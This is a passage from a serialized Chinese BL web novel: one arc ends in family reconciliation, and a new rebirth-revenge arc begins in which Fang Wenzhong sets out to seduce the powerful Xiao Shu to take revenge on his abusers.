没想到方言诩这么能干,已经把俩孩子都说服了,看起来都没啥过度反应。 萧疏接受良好。 方闻钟也没闹脾气。 赞赏地看了女儿一眼,方母忽然小声说:“言诩,你是怎么说服疏疏同意钟钟一起留下来的啊,”方母觉得,就算萧疏再喜欢方闻钟,突然得知身份差别,肯定没那么容易接受方闻钟继续留在方家吧。 虽然留在方家父母俩真得很开心,怎么说也是他们一手养大的儿子。 忽然舍去,就算没有亲子关系,也如同身上割下一块肉来。 但这个要求他们不能提。 所以就觉得萧疏主动开口,很让他们惊讶。 “疏疏想清楚了吗?这不会是你强求的吧?”方母不赞同地看着女儿。 方言诩心累,疏疏是个什么鬼称呼啊……在他妈口中,萧疏看起来无害又单纯,实际上……方言诩叹了一口气。 不过萧疏无害与否,都不会改变他们是一家人的事实。 “他肯定想清楚了。” “你为什么这么确定?” “因为他说,方闻钟是他找的媳妇儿,留在他身边理所当然。” 方母:“……” 五十岁老妇,震惊到口不能言。 “噗,”方言诩突然笑出声来,因为她发现,萧疏和方闻钟刚从楼梯上下来,看着她们,肯定也听到了她们讲话。 方闻钟脚一崴,差点没站住,一张脸,霎时红通通的,紧张又刺激,死死抓着楼梯扶手。 萧疏从他领子上一提,两个人下去,方母顿时快步跑过来,踌躇良久,问说:“疏疏,你要改名字吗?” “不用了,”萧疏:“萧疏挺好的。” 他又示意,“方闻钟也挺好的,名字只是一个称呼,改变不了事实。” 于是就这样,方家多了一个儿子,一个“儿媳妇”……方言诩远远地端着水杯,看甜甜蜜蜜的小情侣,萧疏波澜不惊,可她尤记得,萧疏和方闻钟第一次来见她时,差点没控制住的表情,叫她发现端倪。 若有所不平,萧疏肯定在那些她们不知的日夜里,全消化完了吧,方言诩抿了一口水。 方闻钟被方言诩单独叫出去教训,方闻钟眼神闪躲,一时半刻都不开口。 方言诩:“不叫姐姐了吗?萧疏不都说了,你是他……” “姐!”方闻钟一下跳脚打断她。 方言诩,“我看你还挺开心的。” 方闻钟:那必须……方闻钟心里的小人在蹦跶,但他在家里还要控制着些。“怎么了?” 方言诩抽出一根女士香菸,拿在手里就那样轻轻地夹在指尖,并没有点着,许久,她看着远处说:“一开始,是你强迫萧疏的。” 方闻钟的心瞬间提起来。 “你应该认识到错了是吗?” 方言诩严厉的目光扫过来,方闻钟浑身像被针尖扎着,他脸色一点点白了,无地自容。 “我不管你们之间的恩怨和感情,但方闻钟,我才发现,以前我一直对你疏于管教,让你能做出那样仗势欺人用钱欺负人的事来,所以以后,我会停掉你所有零花钱,你必须给我好好工作纠正过来,知道了吗?” “嗯,”方闻钟点头,眼泪往下掉了一滴,其实本来姐姐就停掉他的零花钱理所当然,但姐姐还是藉着这个机会跟他说清楚,并真的为他以后好。 方闻钟甚至能明白,方言诩对他放心不下,以后肯定还会在心里拿他当弟弟。 可越是这样,方闻钟就越觉得自己不值得,他对不起好多人。 他欠他们。 深吸了一口气,方闻钟告诫自己,不想了,他会慢慢改变的,现在就留在萧疏身边,留在方家。 家里因为主事人的态度,佣人们哪怕知道突然多了个萧疏,方闻钟不再是小少爷了,对萧疏恭敬,对方闻钟的态度也没多大变化。 可外面却热闹非凡,方家没想瞒着这事,甚至在谣言越传越凶时,主动说过段时间举办宴会,会邀请大家一起来,正式公布萧疏的身份。 杨钧泽何煜和方闻钟又挺长时间没见面了,约方闻钟,方闻钟小声说:“那我叫萧疏一起过来了啊?” 杨钧泽和何煜面面相觑,何煜:“那我们还能拦着他不成?”两人心里都挺怪异,一边感激一边又怕萧疏。 萧疏一来,气氛诡异。 可很快,三人组碰头几杯酒下去说说笑笑就闹开了,杨钧泽是从何煜这里听到了最清晰的始末,没再追问方闻钟,他们依旧把方闻钟当好朋友,但不敢再忽视萧疏了,萧疏就在他们旁边坐着,杨钧泽举杯,“哥,我叫你一声哥,其实我比你还大点儿,算是给你赔礼道歉了。” “以前对不住,以后你要是还想跟我们来往,尽管来,我也拿你当兄弟。” “但不管怎样,你都不能再欺负方闻钟啊,他可是我们罩着的,”别以为不是小少爷了就没人管了。 萧疏挑眉,接下了这杯酒,这件事就算过去了,却哄着让方闻钟喝。 方闻钟乖乖的,萧疏端着喂他,对面两朋友一时牙疼。 这他妈算欺负吗? 方闻钟喝多了,闹开心了,一切,彷佛又回到了以前最开始的时候,不过这次,方闻钟身后多了一个永远为他兜底接着他的人。 他大笑着跌萧疏怀里,然后不管不顾,胳膊抬起来捞住萧疏的脖子,“萧疏,想回家,我们回家。” 一抬头萧疏就亲他的嘴唇。 他们选的地方不是多私密的酒吧,有同一个圈子里的二代并不稀奇,但这个节骨眼上故意粘贴来,那就是没事找事了,一人挤眉弄眼,嘲讽萧疏怀里的方闻钟。 “回家,回哪个家呀?” “方闻钟,呀,你还没改名字啊,还没被方家赶出去啊?”以前他们瞧不上萧疏,现在却对萧疏唯唯诺诺,专攻方闻钟,自以为能讨得萧疏开心顺便奚落方闻钟,说话越来越没底线。 “方闻钟,你不回你那个穷沟沟里,不会是卖屁股卖给萧疏才留下来的吧,哈哈哈哈真可笑,你回哪个家啊?” 方闻钟被打断,他满脸醉意的从萧疏怀里抬头。 何煜和杨钧泽已经生气了,正准备站起来教训人,他们是哪根葱,轮得到在这里放肆。 不就是落井下石? 萧疏对他们的挑拨置若罔闻,依旧笑着,却在方闻钟抬头时,将一个酒瓶递到他手里。 于是,方闻钟一酒瓶抡过去,直接砸得那人眼冒金星。! “聒噪,”方闻钟淡声道,这些话都被保护他的空气罩反弹,进入不了一点他的内心,除了听起来有点烦,没别的什么了。 既然萧疏给他递酒瓶了,方闻钟就敢顺手打过去。 就像以前一样。 谁都没想到他还有这个胆量,气上头,但看到萧疏抱着人起身从他们身边经过。 所有的怒气都瘪下去,浑身发凉。 何煜和杨钧泽孤独地被留下来,何煜服气了,“操!有点帅是怎么回事?” 杨钧泽笑了一下,萧疏,方家和方闻钟他都要!他终于有点明白,何煜说萧疏疯了方闻钟傻了是什么意思。 虽然何煜只是直觉浅显地这样表达,可杨钧泽觉得他概括得准确极了。 萧疏不怕方闻钟留在方家对他有什么威胁,因为所有的人物都以被他掌控,方闻钟牢牢被他把控在心里,方闻钟不怕待下去会遭遇什么面对什么,像一个傻子一样跳进陷阱。 萧疏不要方家的名和利,第一时间,囚禁方闻钟,像一个疯子一样,他能放下二十多年的落差不甘,能放下被方闻钟反过来强逼的委屈,得知身份明明有反败为胜好好让方闻钟长记性的机会,却选择最大程度地给予包容。 他眼里满是高兴和羡慕,他们真得很相配。 疯子和傻子,都是因为对方给的爱足够多,足够信任。 专属于萧疏的宴会上,萧疏一身华丽西装,被方父方母光荣地对外介绍着,他们一点不避讳之前抱错的事,萧疏的来历,打心底里已经认了自己的孩子。 方言诩也不怕辛苦,带着萧疏认识那些商业上往来的人。 不管萧疏以后用不用得到,但至少让外人尤其商场上的人知道,萧疏是她方言诩的接班人,甚至,同行人。 方闻钟一点儿没有被落下孤立的感觉,因为宴会开始前,萧疏狠狠亲了他一顿,交给他一个任务。 认清楚宴会上的每一个叔叔伯伯,还有同龄人,回来后萧疏记不得的,方闻钟要查漏补缺。 “好,”方闻钟像个花孔雀一样满场飞,带的何煜和杨钧泽也高兴地跟在他旁边帮着认人招待。 方闻钟笑得太真心实意,他接过一个长辈的礼物,乖巧地笑说:“您来了,赶紧请。” 夫人一惊,又一笑,摸了摸方闻钟的头。 豪门有瓜他们吃,但这样温馨无害的场合,他们也愿意看见幸福。 萧疏在台上讲话,方闻钟鼓掌鼓得最凶,他是真的为他开心,萧疏和方言诩,还有父母站在上面,方闻钟很高兴的,可笑着笑着,难免眼睛里充满泪水,他迅速擦掉,并在心里快速说,肯定是太开心了闹的。 萧疏下来,抱住方闻钟的胳膊,搂着人一起站到前面,“爸,妈。” “方闻钟,叫人,”萧疏温和地对方闻钟说。 方闻钟很扭捏,犹豫了许久,终于怯懦开口,“爸爸,妈妈。” 方母差点没绷住,泪洒当场,作为主人,他们太失态就不好了,方闻钟已经很久没有称呼过他们爸妈,并且有意躲着他们,夫妻俩怎么没感觉。 这下,都笑着拍拍他的头,然后方母把两个孩子都揽在怀里,“真好,”她发自内心,“你们都很好。” 背后虞千铎碰了碰方言诩的杯子,“我第一次见萧疏,就觉得他和你很像。” 方言诩:? 虞千铎转头,笑着看挑眉问询的女人,“你们的性格很像。” 方言诩笑笑不说话…… 方闻钟没喝酒,比前些天酒吧喝了酒还开心,他在床上滚来滚去,顶着乱糟糟的脑袋,眼睛睁大,“萧疏!你说今天像不像我们的婚宴?” 萧疏笑出声,“为什么这么说?” “你发言,我迎接,爸妈祝福,我们最后还一起叫了爸爸妈妈,来的人都为我们开心。” 萧疏过去,单膝跪在方闻钟面前,也摸摸他的头,他今天可爱爆表,萧疏喜欢极了。 “那今晚是什么?” 洞房花烛夜。 方闻钟一下起身,跳到萧疏腰上腿一盘- 萧疏大学毕业,没有进公司,他学的建筑,想在这方面发展,家里当然支撑。 随之而来的就是方闻钟的事,方闻钟在公司干了一段时间,最后萧疏和方言诩都决定送他一个展览馆。他自己当策展人,展览艺术品,也捡起学的东西。 方闻钟接下这个礼物,看起来没那么兴奋,他独自考虑了好久,跟萧疏说他的计画。 “我想去当老师,那些小地方,不是经常缺艺术老师吗?”正好他见多识广,在国外学得也比较多比较深,方闻钟认为他教教小孩子们还是没什么问题的。 这件事看起来好像很幼稚,但正是方闻钟想做的他觉得有意义的事。 不为别人的看法,他只是忽然觉得,不知道萧疏小时候有没有机会接触到这些,他想用自己的见解,帮助那些最朴实的人。 或许是他异想天开吧,况且如果真这样做,他肯定要离开萧疏身边,不可能永远陪着他。 所有他还没想好,还在纠结。 终于忍不住跟萧疏说说他的想法,萧疏当时正在计算机前画图,闻言愣住好久。 他就那样彷佛有点陌生又有点新奇地看方闻钟。 “你生气了吗?”方闻钟试探。 “我为什么要生气,”萧疏说:“我只是,有一点没想到。” “这样我们就不能一直粘着了,我可能会离开你,”方闻钟坐在萧疏腿上,尽力表达自己的意思,“但我还挺想这样去做的,我不想开展览馆,来展览馆的,可能是一群并不缺钱,并不缺艺术熏陶的人,我想去接触最无知的孩子。” “我,我,我不是说他们什么都不懂,我的意思的,他们在这方面是空白的,但他们有最纯真的欣赏的勇气和直觉,我,”他开始结巴。 “我懂,”萧疏明白方闻钟的意思。 方闻钟:“那你会不会觉得,我有点没事找事?或许那些孩子,并不需要我这样的老师?”艺术对他们来讲,会是无病呻吟吗?会很无趣吗? 萧疏摇头,把头埋进方闻钟脖颈,“方闻钟,我好喜欢你,你去做,我第一个支持。” “你想的怕的都不是问题,只有你去做了,你才能想清楚。可能会有点辛苦,而且方闻钟,你要考试才能当老师。” 方闻钟眼睛震惊地睁大了一瞬,很快接受,“好吧,那我去考。” 一年后。 方闻钟背着个简单的帆布包,他像一个大学生,穿着白T牛仔裤,就来找萧疏。 萧疏从来没有限制过他的行踪,也从未让他有被丢弃的恐惧。 方闻钟仰头,看着高高的八十多层楼,萧疏就在最顶层,他笑得阳光明媚,萧疏,这一年我很好。 萧疏,这一年更爱你。 叮——他站在大堂,电梯门却正好打开。 萧疏笑着,朝他迈步走来,手已经伸出来,彷佛在说:“欢迎回来。” 不惧离开。 不吝啬地相爱。 第104章 交换情人:96 方闻钟:“萧疏,你要我吗?” 方闻钟在微末的晃动中,抱着马桶狂呕了一声。 在此之前,他就跪在地上吐到脸色惨白,男孩子细长却有茧的手指,毫不留情地插入自己喉咙,逼自己催吐。 吐干净了,他脆弱的发丝,挡住下面红晕却布满仇恨的双眼。 方闻钟死在一艘游轮上,所以重生来发现自己还在船上,他就忍不住眼球凸裂,用最快的时间把自己锁在一个狭小的卫生间,他吐出本就没喝下去多少的酒,时间彷佛在这一刻静止。 许久之后,唯有他那只抓着马桶边缘的手,颤抖、用力、青筋暴起。 然后他脱力地倒在地上,肢体扭曲,他抬起手捂住自己的眼,咬肌隆起伏低,一滴泪逃出指缝滑下去,他好像终于接受了事实。 方闻钟死在二十岁那年,重回到十九岁,一切还有机会改变的时候。 外间的萧疏,和躲起来的方闻钟,同时回顾原剧情/重生前。 方闻钟十九岁的时候,他的赌鬼单亲爸,掉下楼摔成残废,急需用大量钱!刚进入娱乐圈的小明星方闻钟,为了接一部片酬几十万的戏,不得不放低姿态,陪投资方喝酒让他揩油。 潜规则你清我楚,只是那时候方闻钟没想到投资方一上来就想做到底,他还以为只是咬牙受点委屈。 快被拖到包厢下不来台时,一个伺机而动的男人替他解了围。(萧疏稍后出场) 方闻钟很久之后才知道,原一清之所以当时救他,纯粹因为他柔弱的样子很像他的白月光蓝亦,而蓝亦出国了,原一清还是方闻钟所在公司的老板。 方闻钟因为喝的酒有问题,那晚和原一清发生了关系,之后原一清提出包养,顺便调查他知道他缺钱,直接在医院付清所有费用,这些都是原一清自作主张,而方闻钟自觉羞愧以为是自己喝错酒爬错床,被迫答应包养了。 方闻钟在卫生间面无表情地咬着一张纸,发生关系,是原一清告诉他的。 利用良心和道德绑架他,实则,全是原一清撒谎骗他。 他还骗了他很多,之后原一清把方闻钟养在一所偏僻的住处,时不时会来看他,他告诉方闻钟,让方闻钟慢慢挣钱还上公司垫的账,可同时,他又作为老板直接推掉了好多来找方闻钟的工作,方闻钟在不知情的情况下,被半雪藏了,而他还以为,他没有能力还上钱。 方闻钟从衣服里摸出一小包纸巾,擦干净自己后,还剩最后一张。 他塞进嘴里,咬牙切齿地咬着,才叫自己不被愤怒和仇恨打败,从恐惧和害怕中脱离出来,叫自己冷静。 原一清心里装着蓝亦,所以不会轻易和方闻钟怎么样,可是他还是要把人关在他一个人知道看到的地方,解相思之苦。 就在这次船上宴会,方闻钟和原一清都喝了酒,不知是原一清精虫上脑还是方闻钟诱惑到了他,他终于忍不住突破那一步真真正正地强迫了方闻钟。 因为不是第一次(上辈子的方闻钟自以为),所以方闻钟所有的憋屈都得咽下去,以后他和原一清的关系,彻底成了低人一等的金主和包养对象。 原一清按捺不住次次威逼,远在国外的蓝亦终于听说了方闻钟的名字。 他人还没回来,陷害的手段却先一步伸向完全不知情的方闻钟。 家里照顾的管家,擦楼梯时,不小心让方闻钟从楼梯上摔下来,骨折,这是蓝亦给的小教训,而再听到一次原一清来这里看方闻钟,蓝亦就指使管家让方闻钟的腿发炎。 骨折未好,二次受伤,方闻钟发烧到意识模糊。 原一清将他送医院。 蓝亦终于坐不住回国了,方闻钟腿好后,忽然被原一清安排工作,到一个剧组给人当替身,那是他第一次见到蓝亦。 笑得阳光灿烂,鼻头微微发红,一双眼睛却幽冷地扫遍他全身。 他们长得有点像,只不过方闻钟更冷酷一点,而蓝亦挺乖。 作为替身,当然要受很多苦,比如,接近零度的水里一次次爬上来,跳下去,紧实的威亚捆着人一整天,经常有人忘了放方闻钟下来。 吃的盒饭有味道,戏服出问题,没地方休息,哪块儿脏把人赶到哪里一躺。 蓝亦加戏,被搧耳光,替身上场。 摔下马的戏哪怕方闻钟再有把握,架不住那么多人想看他笑话,在马身上使坏让他出丑。 重重地摔落下来,方闻钟整片后背全是淤青。 剧组人人知道,蓝亦得罪不了,而方闻钟的老板,据说包养了方闻钟的原一清,每次来剧组,都是和蓝亦待在一起,对方闻钟置若罔闻。 方闻钟受的苦原一清看不进眼里,蓝亦随便一哭一叫委屈,他就心疼得不成样子。 所以人人清楚,方闻钟自己也清楚,他是上不了台面的,插入他们关系的第三者,而蓝亦和原一清,是门当户对互相喜欢的竹马竹马。 这样看起来,他就是个恶毒小丑,图惹人厌烦。 蓝亦吓唬又进医院的方闻钟,再敢靠近原一清,就把你的器官割下来喂狗,“哦,不对,我应该假装自己生病,你说我要是告诉原哥哥,他会不会让你把器官换给我?……” 蓝亦害怕原一清爱上替身方闻钟,因为原一清偶尔会情不自禁看到方闻钟。 他不甘心,必须要让方闻钟彻底离开原一清的视线,正好想到了表哥,一个让他都害怕接触的男人,Caspian(中文名:萧疏)。 蓝亦做局威胁,让萧疏和方闻钟发生关系,萧疏喜欢方闻钟这一类人,他再威胁原一清,就这样,原一清和萧疏达到“友好”协商,交换了方闻钟的归属。 蓝亦苦苦等待着,原一清的确是不想方闻钟了,表哥Caspian据说心狠手辣无所顾忌,身边情人不少,谁要是惹怒了他,他能将人扔海里喂鲨鱼! 蓝亦就等着方闻钟被喂鲨鱼,表哥在国外可是相当混不吝,家族生意他没插手,但处事手段比家主不相上下。 方闻钟成了萧疏的新一任情人,可蓝亦等啊等,等到方闻钟各种伤养好了,等到方闻钟都恢复元气了,忽然发现,他是不是过得太滋润了点? 表哥竟然没有弄死他? 蓝亦又不平衡了,凭什么!尤其发现原一清会问他方闻钟的事……哪怕原一清装得再无所谓,蓝亦心里的嫉妒还是咕噜噜往外冒着恶毒的坏水,他决定,自己动手。 在萧疏的一艘游轮上,蓝亦、原一清,萧疏方闻钟都在。 还有各界名流和明星。 蓝亦给方闻钟注射了成瘾的毒|品,找几个男人轮|奸他,还要拍照。 这下方闻钟别想再混了,只有死路一条,原一清和表哥都不会管他。 方闻钟在黑暗的铁皮之后,听着每一个走过的陌生的脚步声,顺着缝隙,他看到蓝亦和原一清胳膊挽在一起,脸上全是笑容,他们走开。 他还看到,萧疏执着酒杯,好像往他这边看了一眼,他确定他们目光相对了,可下一秒,萧疏无所谓地走远了,方闻钟只能看到他背影。 没用多久,外面突然很吵,所有人都跑起来,他看到很多黑衣人跟在萧疏后面保护他,可是还是没办法阻止一场突如其来的爆炸。 其他人的下场方闻钟都不知道,他只知道,火焰吞噬来的那一刻,他和萧疏齐齐死在船上。 他在无尽绝望中迎来闭眼,而萧疏,冷眼旁观蓝亦对他做的一切,最终还是没逃过仇人寻事,引炸了他的船。 萧疏满身是血的身影,就倒在方闻钟眼前不远。 他忘了蓝亦,忘了原一清,只是看着萧疏,恨道:“生同衾,死同xue,哈哈,哈哈哈哈……” 系统:“宿主,其实严格来说你穿错了,真正的渣攻是原一清,而系统值判定到最后方闻钟和你在一起,而且,他最后的执念里好像有你,所以你才穿到这里。Caspian,从此有了一个中文名,萧疏。” 萧疏:“嗯。” 系统又一次简练地想总结原剧情,方闻钟被原一清和蓝亦欺负强迫虐身虐心,然后原一清和‘萧疏’交换情人,最后蓝亦见不得方闻钟一点好,轮|奸找人给他注射毒|品想彻底毁了他。 方闻钟重生了,最后那场爆炸意料之外,而方闻钟误以为蓝亦的作为‘萧疏’当表哥的全知情,现在方闻钟恨所有人,他要做什么,没人知晓。 系统刚说到虐身虐心,萧疏突然变了表情,“闭嘴。” 他的表情抽搐,手下的酒杯被他大手捏住,系统禁声,不敢再跟萧疏重复,他看到宿主提着一瓶烈酒坐起来。 萧疏:既然穿错了,那他就用这个身份做方闻钟手里最趁手的那把刀,那牌盾,尽管方闻钟可能也想让他死。 方闻钟将嘴里的纸吐干净,仔仔细细漱了口,用冷水洗了脸,他在镜子面前抬起头。 镜子里的男生有些陌生,一张小脸很酷很帅,眼睛和嘴巴却红红的很诱惑,如果是重生前,方闻钟会很戒备,眼里总是充满慌乱、无措、纠结、痛苦,现在那双眼睛全被一种黑压压的沉沉的气息代替。 方闻钟顺势推离自己,将手收回来,他已经支离破碎,上辈子最可怖的事情刚离他不远,要不是重生!要不是浓到化不开的仇恨!他不会那么快强硬起来,方闻钟看着镜子里的人,“一切,都会改变。” 方闻钟上辈子没爱上任何人,就在刚才,他还想,蓝亦和原一清都是他招惹不起的势力,更何况,他们一个比一个畜生,方闻钟大可以选择找机会远离。 他能找机会逃离原一清身边,现在一切还未发生,原一清还没戳破蓝亦的存在,拿他当替身,他可以找到藉口跳槽,欠的钱不还了,医院里的残废爸不管了,他只要好好谋求工作养活自己就行。 他可以离开原一清和蓝亦两个可怕的人,可以让他们不伤害自己,从此孤身一人,没有各种各样的危险,也挺好。 重来一次,方闻钟学会了冷漠!反正欠的钱是原一清自己愿意掏的,反正残废爸没怎么管过他,医药费掏上上辈子还是个植物人没醒过来,他只要足够心狠,保全自己就行。 逃离的计画想了很久,可很快,又被无数肆虐的念头打飞。 凭什么,凭什么他们对他做了那样恐怖的事情后还能完好无损,凭什么他要陷入他们的感情被人玩弄欺负,凭什么萧疏深不可测就能纵容蓝亦在他的地方犯罪,所以他们都该死! 他会一一记着好好清算的。 方闻钟咽下嘴里的血腥味,他要跟在原一清身边,他会慢慢打算全部报复回去的! 用再多时间,方闻钟都不怕,他已经没有害怕的东西了,方闻钟将原一清和蓝亦两个名字刻上心里名为仇恨的石头,直到有一天,他们灰飞烟灭。 浑身战斗欲的方闻钟,慢慢打开卫生间的门。 他穿梭在走廊上,背影瘦弱却挺直,他要去迎战两个庞然大物般的恶魔。 快接近宴会厅,方闻钟还没看到原一清,倒是发现舞池那边出事了,挺多人围在一起。 他藏在阴影处,听身边人八卦。 好像一个少爷抢了另一个少爷的舞伴,后者气不过将人开了瓢。 又好像纯粹是后者找事,提着酒瓶子就是干。 各种传言,只看眼前的情景,方闻钟就能猜出肯定是打人的那个背景更厉害一点,不然不会这么多人看他单方面揍人,而没有后续。 他在四周扫视着原一清,忽然听到一个有点耳熟的名字,正是原一清经常身边玩儿的一个朋友。 利目扫过,方闻钟重新将视线聚焦到出事的地方。 酒瓶子将人头上开瓢的那一刻方闻钟没看到,可因为站得高,好多人还不敢围在中心位,都战战兢兢地替打人的那位少爷让开前方一点空地,所以叫方闻钟看到了接下来一幕。 原一清朋友满头浴血倒在地上,脖子被人提起来。 拎着他的人,弯下腰去,玉石般的温润手指,却拿着一个瓶底满是豁口的酒瓶子,瓶身沾满血,地上随处可见玻璃渣和血滴。 方闻钟瞳孔一缩,那只手上中指内侧,有一个红色的小痣。 萧疏! 萧疏抬起头来,酒瓶子一下向下砸去竟直直对准那人脖子,地上的人吓得屁滚尿流,早没了刚才嚣张蛮横的样子。 碎瓶子顺着人脖子直接砸在地上,寸寸成渣。 萧疏忽然直起身,一脚狠踢过去,原一清的朋友就抱着裆部发出了痛苦的嚎叫。 而萧疏,抬起头,眼神散漫地打量四方,他撩起额头散下来的一股头发。 方闻钟迅速躲在柱子后面,急急地喘气。 他克制呼吸,萧疏,这么早就出现了,他早就在国内吗? 那边的闹剧还在继续,方闻钟的心思又发生了极大变化。 原一清拉住一个想出头的朋友,他们就在方闻钟对面,“不要去了,”众人脸色都不好,就在萧疏动手前,他们已经知道了萧疏的来历。 家族生意在国外,神秘且不可小觑,萧疏是独生子,突然回国,哪怕他们今天让萧疏出不够气下不来台,明天萧疏就能让他们一个个吃不了兜着走。 对那种在灰色地带游走的人,绝不敢轻视,并且听闻萧疏不光背景深厚,他本人也相当狠辣无情,无所顾忌。 方闻钟藏起来,他没想到会在这里突然见到萧疏! 他还以为他们要好久之后,才有可能碰面。 他和萧疏,算不上熟悉,但也没那么陌生,在那个男人身边的那些时日,不可否认,萧疏对他除了像一个情人上床外,没有其他交集。 方闻钟总算能喘口气。 可就那么短接近的时间,他就知道萧疏是个心思很深,没那么容易了解打动的一个人,方闻钟太想要报仇了,可他对原一清和蓝亦,又如蚍蜉撼动大树。 于是看到萧疏的那一刻,一个想法再也控制不住。 他想要勾引萧疏,想要萧疏帮他,然后对付原一清和蓝亦,看他们狗咬狗。 反正萧疏好像是挺喜欢他这一类人的,萧疏完全不怕原一清和蓝亦,所以只要方闻钟掌控了他,就可以轻轻松松利用他,报仇雪恨。 方闻钟因为这个想法死死咬住嘴唇,他紧贴着柱子浑身都在颤抖。 他在兴奋,又在害怕。 萧疏不是那么好糊弄的一个人,其实方闻钟也怵他,不敢接近深入,他能引来仇人引爆船只这么惊天动地的新闻,足可见背后不是一般势力,方闻钟不想掺和,但萧疏又太好利用了,他简直是摆在他面前最好的那个“帮手”,萧疏还很可能会喜欢上他。 怎叫方闻钟不心动,不赌一把? 他猛地探出头去看,他要让萧疏爱上自己,他要让萧疏和蓝亦反目成仇,让萧疏替他整垮原一清。 这很难很难,可方闻钟却越来越清晰坚定。 他躲着原一清,跟在萧疏身后挺远处,跟着那个男人,一步步往外面走去。 萧疏在海里游了几圈,探出头来,他的头发被他全甩上去,额头光洁明亮,水珠顺着他鬼斧神工般的脸颊弧度滑下来,一一流过喉结、脖子、胸膛。 衬衣早湿透了,全贴在身材极好的身躯上,他嘴角挑起一个笑来。 方闻钟待的地方萧疏看不到,可方闻钟却能观察到他的一举一动。 方闻钟在想以什么样的姿态出现在萧疏面前,让他足够记住他,让他们以后有快速发展的机会。 萧疏喜欢他的脸是吗,他是不是还喜欢自己清纯无辜的样子,方闻钟逼着自己去学蓝亦最拿手的那一招,以弱示敌。 噗通,萧疏背后一个人突然不小心落水了。 方闻钟没有挣扎,他让自己像一个真正溺水的人,在海里慢慢沉去,萧疏只要第一步会救他,他的计策就成功了一半。 方闻钟的心脏很痛很痛,大脑沉沉向下,他都以为萧疏会看着他去死了,反正一个陌生人死在他眼前有什么关系。 控制不住眼泪已经滑下去,下一秒,他被人以最专业的姿势,从背后捞起,救出了水面! 方闻钟极其高兴,可还是控制不住差点溺水的痛苦,在这种痛苦中,他还在想,刚才落水时,他故意发出动静,让萧疏看到了他的脸。 萧疏是因为这个救他的吗? 方闻钟很害怕地整个人缠在萧疏身上,贴紧他,他的睫毛乱颤,一双手落在萧疏胸膛上,边喘气边害怕地抬头看人。 他呆了一下,想说什么又大声咳嗽。 然后方闻钟埋在萧疏怀里,明明很害怕很不好意思,可还是不敢放开萧疏,最后只能无奈地抱住萧疏的腰。 男孩子闭上眼,嘴巴微微张着,红润诱人。 方闻钟故意在磨蹭,体会到下面萧疏被他蹭起来一点反应,他先是低着头在萧疏看不到的地方眼里滑过一抹幽深,然后抬起头来看着萧疏。 已经满脸红晕。 他结巴,“谢,谢谢你,你可以把我放开了吗?” “我叫方闻钟,你叫什么?” “Caspian,”上方甲板忽然冒出一个人,喊萧疏,也看到了他们在水里抱在一起。 萧疏完全丢开了方闻钟,然后看了眼甲板上的人,什么话都没说,甲板上的人已经知趣地离开了。 方闻钟下意识想游泳,又立马反应过来他不会,所以继续慌乱地往下沉,差点露馅了。 萧疏怎么说松手就松手。 紧接着,他又被萧疏一把从水里提起来! 方闻钟全身湿透,有些狼狈地睁不开眼,还不忘继续自己的演戏,想求救抓住萧疏,又害怕冒犯他他生气,一时僵持。 萧疏倒是没什么顾忌,把人彻底捞在怀里,让方闻钟感受着他下面的反应。 方闻钟心下一凛,一边责怪萧疏这么快就被他勾引到了,一边又嗤之以鼻,他是不是太那什么了? 但是这样也好,他能尽快拿下他,方闻钟不仅要萧疏的身体,还要他的心。 他自以为运筹帷幄,可下一秒,被萧疏打入十八层地狱。 “方闻钟?”男人声音太好听,尤其现在这个状态,在方闻钟耳边低沉地说,极其性感。 “真正不会水的人,不会刚掉入海里就往下沉的,所以你什么目的?” “演技太拙劣了点,”萧疏下面还抵着人,他却紧紧抓住方闻钟不让突然变脸的方闻钟离开他一秒,萧疏将脸离方闻钟远点,抓住他的下巴,问。 方闻钟几乎是瞬间开始害怕,他紧咬着牙关,不让自己露出恐惧和怯懦。 被萧疏盯着,几秒钟,他却彷佛感觉比他重生回来在卫生间待的时间还久。 萧疏已经怀疑,那方闻钟再怎么伪装都在他眼前糊弄不过去,硬着头皮继续演,继续骗,很可能事与愿违,引起萧疏厌烦对付他。 电光火石,方闻钟迅速改变了自己的行为和人设。 既然清纯无辜演不下去,他在萧疏面前已经被拆穿,那不妨当个彻底的恶人,妖艳贱货。 他就是明着勾引他,他就是想攀上他的势力。 方闻钟没有多少自信,但摆在他面前的彷佛只有一条路。 他重新抬起头来,看向萧疏,刚才还害怕装乖的男生,现在眼里全是风情欲望,他还不安分地继续在看不见的地方,撩拨人。 “Caspian,我刚才看到你了,我很喜欢你,你要我吗?” 第105章 萧疏:“真的瞧上哥哥了?” 他要去亲萧疏的嘴巴。 为了报仇,方闻钟可以出卖自己的一切,如果这个对象是萧疏的话。 他恨他,怨他,怕他,可他又极其需要他。 最终亲吻还是没有得逞,萧疏在甲板上赤脚站着,他擦着头发,后面方闻钟垂着头。 他在等待萧疏对他的淩迟。 直到眼前递过来一张卡,“君望酒店21层,明晚九点前等我。”- 和原一清坐在车里,他能感觉到旁边的男人燥热的态度,时不时转头看他。 方闻钟贴着窗户,看着窗外,离原一清近一点,看到他的脸,方闻钟都怕自己忍不住立马对他露出恶心的嘴脸。 他强迫自己让萧疏全占据他的脑海,快到住所,原一清忽然说:“你没事吧?我和你一起上去。” 方闻钟听闻立马明白了他的意思,原一清不想忍了,他没拒绝。 原一清在客厅翘着二郎腿,看到方闻钟先洗漱完出来,他目光里全是兴致和打量,他告诉方闻钟他曾经和方闻钟发生过关系了,这件事是方闻钟的原因,方闻钟还欠他钱。 所以方闻钟在他面前总是一副拘谨抱歉的样子,就像现在,洗完澡方闻钟永远穿得规规矩矩。 原一清看着这张肖似蓝亦的脸,心痒难耐,别有一股风情。 想让人将他撕碎,彻底看到他被那样欺负后的表情。 他站起身也去另一间卧室洗漱,没有通知方闻钟接下来会发生什么,但方闻钟想必也能猜到,原一清很欣赏他这种想拒绝、不安的样子,会让他异常有感觉。 人消失了,方闻钟脸上脆弱的痕迹消失殆尽,他没有管另一间客房浴室里的原一清,一个人回卧室关上房门,合衣躺在床上。 今晚原一清不会有功夫跟他在这里耗。 原一清洗完澡,过程有点不舒服,皮肤火辣辣他以为温度有点高,没太在意。 可当出浴室时,情况忽然变得很严重。 他全身瘙痒、肿胀,又烧又痛浴巾的摩擦对他来说都无比艰难,难以忍受,他看着自己红透了的皮肤,还没反应过来发生了什么,一张脸眉头皱得难看。 没过一会儿,他呼吸急促,身上的肿胀疼痛越发可怖,全身好多红疙瘩,连脸也肿得像一个涂了颜料的馒头! 原一清扶住台面,急躁地跟家庭医生打电话。 电话还没接通,他手抖着手机差点扔了,原一清没站稳,摔在地上。 电话接起,他立马说了自己的症状,原一清听着。 